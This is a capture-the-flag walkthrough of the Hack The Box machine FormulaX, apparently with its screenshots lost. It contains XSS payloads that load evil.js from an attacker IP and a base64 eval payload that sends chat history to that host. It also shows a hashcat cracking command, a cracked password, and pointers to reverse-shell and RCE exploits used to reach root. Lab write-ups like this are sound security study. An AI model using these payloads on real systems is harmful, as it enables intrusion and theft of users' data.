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 Starting with the machine: 

 

Checking the connection with the machine in Linux: 

 

 

Checking the connection via ip address: 

 

 

 

 

  



 

2 | FORMULAX – Bipin Adhikari 

Creating a new user: 

 

 

Accessing login portal: 
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Starting with chatbot: 

 

Checking change password via burp: 
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Nmap scan: 

The scan is done and is saved for further use as a log file. 
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Scanning contact admin, insight xss: 

 

 

A script just to check whether XSS works in the system, well it created a response after 

deployment, which means that XSS and RCE is a possible scenario, although no file named 

evil.js has been created yet. 

 

<img SRC=p onerror="var script1 = document.createElement('script'); script1.src = 

"http://10.10.14.66/evil.js"; document.head.appendChild(script1);" /> 

The above code was not executing therefore had to manipulate and convert it into base64 

format and then listen to it. 

<img SRC=x 

onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2

NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1

bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3

RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3Vz

ZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbH

M6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXR

jaCgiaHR0cDovLzEwLjEwLjE2Ljc2Lz9kPSIgKyBidG9hKG15X21lc3NhZ2UpKX0pIDsgc29j

a2V0LmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvcnknKTsKfSk7"));' /> 
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Inspecting chatbot itself, as it was displaying previous messages instead of a proper history 

which it could have even saved but seems that the chatbot was just responding to the user 

command history instead of the actual necessary history. 
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Creating a JS file evil.js with the necessary scripts changing the history status as provided to at 

least find a user access, but that doesn’t seem to be possible because of the toughness of the 

machine. 
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Executing the XSS but in the port 8090: 

<img SRC=p onerror="var script1 = document.createElement('script'); script1.src = 

"http://10.10.16.76:8090/evil.js"; document.head.appendChild(script1);" /> 

 

A response from the script and decrypting it from base64 gave the communication access of 

Admin: 

 

Decrypting other responses generated: 
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dev-git-auto-update.chatbot.htb 

Adding host ip: “vi /etc/hosts” because the next DNS is not reachable by VPN, so we need to 

register it. 

 

“10.10.11.6 chatbot.htb dev-git-auto-update.chatbot.htb” 
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The Ip was added to get access to the required page, else error was detected as “no address 

found” 

 

 

Reference for preexisting exploit: https://security.snyk.io/package/npm/simple-git 

The RCE affecting simple-git versions below 3.15 (machine: 3.14) has the CVSS score as 8.1: 

 

https://security.snyk.io/package/npm/simple-git
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Starting with RCE via Burp  

 

Working with the Point of Contact (PoC) of the IP, by replacing the IP. Although error response 

was obtained from the given request. 
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ICMP TCPdump response: 

 

 

 

Using the following script to listen at 9001: 
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Changing the code to base64 format and repeating it did not work either. 

https://www.revshells.com/ 

t  

The only option left here is to create a .sh file and execute it accordingly: 

https://www.revshells.com/


 

14 | FORMULAX – Bipin Adhikari 

 

 

 

User access successfully done: 

 

Checking out all the possible files and root folders: 
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And finally, found database named “testing”, which might contain at least user flag: 

 

Investigating the database, and sockets  

(-lntp because: listening sockets, addresses instead of hostname, TCP sockets and process using 

sockets): 
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Going through the structure and hacking basics of MongoDB as “mongoose” must be a hint 

that the database is in MongoDB. 

https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb 

 

Going deep to find the users: 

“show dbs”  

“use testing” 

“show collections” 

https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb
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Finding users in the database, admin and “frank_dorkey@chatbot.htb” 

 

Saving the content to decrypt the file using hashcat: 
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Command given to execute hashcat: 

“sudo hashcat -m 3200 chathash.txt/usr/share/wordlists/rockyou.txt.gz” 
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Decrypted frank_dorkey user password: “manchesterunited”  

 

GitHub on linpeas, process for userflag: 

https://github.com/carlospolop/PEASS-ng/releases/tag/20240310-532aceca 

 

Installing linpeas.sh (updated version) 

 

  

https://github.com/carlospolop/PEASS-ng/releases/tag/20240310-532aceca
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Allocating linpeas back to the server and giving assigning access mode to cache directories, 

scanning 

 

Starting linpeas in the server: 

 

Results and responses: 
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Something new to server name: librenms.com (a service used to ensure the reliability and 

performance of network structures). 

https://www.linkedin.com/pulse/what-librenms-used-how-do-i-add-services-vimal-thakur/ 

https://www.linkedin.com/pulse/what-librenms-used-how-do-i-add-services-vimal-thakur/
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Going through the librenms, the permission to list file was denied, logging in with obtained 

user-id 

 

 



 

23 | FORMULAX – Bipin Adhikari 

Permission denied again and again, so accessing /home using frank_dorky: 

 

Caught the user flag!  
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Listening and forwarding from port 3000 to the Ip obtained from librenms in the obtained 

username, Ip of the machine: 

 

Localhost ip login for librenms: 

 

Although having a different localhost port, accessing the librenms using default login 

credentials: 
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Connection refused, seems that new user should be registered again, so adding a new user to 

access: 

 

Username: “spetsnaz” 

Password: “password” 

Level: 10 (Authority to access the system) 
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After logging into librenms, the dashboard is as follows: 

 

Manage Users portal, the name of admin is “Kai Relay”:  

 

Admin real username: “Kai Relay” 
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Registering librenms server to the VM (kali, system) host (/etc/hosts) in the port 3000 to 

remove failure: 

 

Registering localhost IP to machine: 

 

Accessing librenms (registered host): 
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Copying the given format as conf.txt: 
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Generating new alert to ping the VPN server: 

 

Ping successful as requested: 

 

As ping was successful, trying to XSS with the existing bash file. 

 

 

Listened and connection established with librenms: 
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Importing linpeas again and running it on the server: 
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Linpeas displayed password for the user kai_relay which consists of root access: 

 

Switching the user to kai_relay: 

 

Scanning through the files existing in the user: 

 

 

Got a possibility of having flag in the file as permission have been restricted to limited hosts 

and port, which means that SSH tunneling should be done to obtain it 

 

Creating a connection between the two users using localhost with assigned port of 2002: 
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Got a script from the following github when googled the error after successful connection for 

RCE UNO: 

https://github.com/sud0woodo/ApacheUNO-RCE 

 

Without giving permission to file shell.sh, the connection was not built up so therefore changed 

the mod and achieved root connection: 

 

https://github.com/sud0woodo/ApacheUNO-RCE
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Root access accomplished: 

 

Flag file, root.txt: 

 

 

Caught Root Flag! 
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Machine Pwned at Hack the box (proof): 
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